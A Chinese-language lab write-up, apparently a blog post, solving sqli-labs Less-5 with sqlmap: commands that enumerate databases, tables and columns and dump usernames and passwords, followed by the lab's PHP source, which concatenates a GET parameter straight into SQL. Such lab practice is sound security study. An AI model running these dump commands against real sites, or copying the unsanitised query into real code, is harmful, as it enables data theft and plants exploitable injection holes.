目录
类型
单引号注入
![](https://i-blog.csdnimg.cn/blog_migrate/7bf4e1c8c1067b291d9546da0b0552e7.png)
猜测sql语句
select * from users where id = ('参数') LIMIT 0,1
-dbs枚举数据库
使用-o参数优化,--batch参数进行跳过,--threads参数开启更多线程
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" -o --threads=10 -dbs --batch
![](https://i-blog.csdnimg.cn/blog_migrate/61a35c60ca1ea41b2f05a21c417a56b3.png)
注意,耗时过久,主要是联合查询耗时,从结果看并没有联合查询注入。
--tables枚举数据库表
添加--technique参数加速,--dbms指定
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" --dbms mysql --technique E -o --threads=10 -D security --tables --batch
![](https://i-blog.csdnimg.cn/blog_migrate/ac6bfedfc8efe21a8e05e9faed01167d.png)
--columns枚举列
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" --dbms mysql --technique E -o -D security -T users --columns --batch
![](https://i-blog.csdnimg.cn/blog_migrate/956c7ffeaf65795728140144f854c22e.png)
--dump枚举数据
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-5/?id=1" --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch
![](https://i-blog.csdnimg.cn/blog_migrate/a40af1e33bbc3ec8e5b663e15fc4fe0a.png)
查看源代码
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
更多内容查看:网络安全-自学笔记
有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。